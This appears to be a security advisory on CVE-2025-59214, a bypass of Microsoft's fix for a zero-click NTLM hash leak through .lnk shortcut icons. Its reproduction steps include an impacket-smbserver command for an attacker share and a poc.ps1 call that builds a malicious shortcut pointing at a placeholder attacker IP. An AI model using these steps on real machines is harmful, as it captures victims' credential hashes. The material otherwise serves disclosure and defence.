CVE-2025-59214: When a Microsoft Patch Fixes Nothing

CVE-2025-59214 isn't a new vulnerability class: it's confirmation that the patch Microsoft shipped for CVE-2025-50154 didn't work at all.

The technique is exactly the same: a .lnk shortcut file with a default icon and a target pointing to a binary hosted on a remote SMB share causes explorer.exe to fetch that file to extract its icon, with zero user interaction. The patch meant to block this path didn't. This was reported a second time, and Microsoft assigned a new CVE to the persisting bypass: CVE-2025-59214.

Why this matters

A patch that fixes nothing is more dangerous than an unpatched vulnerability: it creates a false sense of security. Teams that deployed the CVE-2025-50154 patch believing the issue was closed remain exposed in exactly the same way.

Responsible disclosure

This vulnerability was reported to Microsoft and documented publicly after the second patch was made available.

Full technical resource (GitHub repository)

Source: github.com/rubenformation/CVE-2025-50154. The proof of concept below covers both CVE-2025-50154 and CVE-2025-59214.

Description

While Microsoft released a security update addressing an icon-based NTLM hash disclosure vulnerability, a bypass still allows an attacker to retrieve NTLMv2-SSP hashes without user interaction.

The original vulnerability, recently patched, was a 0-click NTLM hash disclosure triggered when explorer.exe rendered the icon of a .lnk shortcut file whose icon was hosted on a remote SMB server. After the patch, explorer.exe no longer loads icons from remote SMB paths, preventing the automatic disclosure of NTLM hashes.

The patch for CVE-2025-50154 didn't work at all. This was reported again, and a new CVE was assigned: CVE-2025-59214. The proof of concept below is relevant to both CVEs.

By crafting a .lnk file with a default icon from shell32.dll and a target path pointing to a remote SMB-hosted binary file, explorer.exe still fetches the remote file to extract the PE icon from its RTGROUPICON and RT_ICON resources.

Requirements

• An SMB server controlled by the attacker (e.g. via impacket-smbserver).
• A binary to host on that share, used as a lure to extract the icon (e.g. Taskmgr.exe).
• The poc.ps1 script to generate the malicious .lnk file.
• A delivery method for the .lnk file (download, SMB share, etc.).

Reproduction steps

Start an SMB server on the attacker side:

# place the binary (e.g. Taskmgr.exe) in the directory, then start the SMB server.
impacket-smbserver share . -smb2support

Craft the malicious .lnk file with PowerShell on a separate machine, then deliver it to the victim (drive-by download, SMB share, etc.):

# replace the values with the target path, the SMB server IP, and the hosted file name. Triggering can take 20 to 30 seconds.
.\poc.ps1 -path "C:\users\user\desktop" -ip "<serverIP>" -share "<share>" -file "<payload.exe>"

explorer.exe automatically downloads the remote file to extract its icon, looking for RTICON and RTGROUP_ICON headers in the .rsrc section.

Notes

This code is for educational and research purposes only. The author takes no responsibility for any misuse of this code.

Key takeaways

• A published patch isn't a guarantee of a fix: verifying it actually blocks the original vector is part of the job.
• NTLM is a legacy protocol, but it's still enabled by default across a large share of enterprise environments.
• Ongoing evaluation (audits, red team exercises, tracking CVEs affecting Windows authentication) remains the best defense against a vulnerability class that, by nature, keeps renewing itself.

This bypass follows CVE-2025-50154 and shares the same proof of concept. Managing a large Windows fleet and want to assess your real exposure to this kind of vector? Let's talk.